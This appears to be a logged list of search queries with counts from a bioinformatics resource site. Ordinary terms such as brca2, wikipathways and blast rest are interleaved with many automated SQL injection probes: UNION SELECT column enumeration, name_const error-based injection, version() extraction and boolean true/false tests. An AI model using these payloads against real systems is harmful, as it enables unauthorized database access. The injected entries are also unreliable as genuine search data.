| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45)-- |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,1112121121121212.1 |
2 |
| model |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111 and 1>1 |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111' and 'x'='x |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111' and 'x'='y |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111" and "x"="x |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111" and "x"="y |
2 |
| sabio |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111999999.1 union select unhex(hex(version())) -- and 1=1 |
2 |
| brca2'a=0 |
2 |
| mouse'a=0 |
2 |
| brca2 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45)-- |
2 |
| data editing |
2 |
| mirmaid |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45)-- |
2 |
| predict protein-protein interaction |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45)-- |
2 |
| protein families domains protein sequence |
2 |
| information metabolic signal transduction regulatory networks humans |
2 |
| psicquic |
2 |
| wikipathways |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45)-- |
2 |
| ontology lookup service |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45)-- |
2 |
| spectroscopy and 1=1 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45)-- |
2 |
| picr |
2 |
| nucleotide |
2 |
| interactions biological molecules |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45)-- |
2 |
| protein+sequencing+analysis"+and+"x"="y |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45)-- |
2 |
| mapping id |
2 |
| blast rest |
2 |
| gor |
2 |
| genewiz |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45)-- |
2 |
| cluster |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45),char(45,120,53,48,45,81,45)-- |
2 |
| censor |
2 |
| integ'" and 1=1 |
2 |
| david |
2 |
| ray |
2 |
| format+blast |
2 |
| get+id''+and+'x'='y |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45) -- |
2 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+and+1=1 |
2 |
| synsetserver |
2 |
| get+genbank+id'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x'a=0 |
2 |
| information genes related phenotypes mice |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45) -- |
2 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.'" |
2 |
| protein+sequencing+analysis'+and+'x'='y |
2 |
| repeat99999"+union+select+unhex(hex(version()))+--+"x"="x |
2 |
| get+id'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+and+1=1 |
2 |
| no'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45) -- |
2 |
| function annotation'a=0 |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45) -- |
2 |
| microarray+or+affy |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45) -- |
2 |
| apogon |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45) -- |
2 |
| dsg2 |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45) -- |
2 |
| get+web+page |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45) -- |
2 |
| user/registerindex.php'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45) -- |
2 |
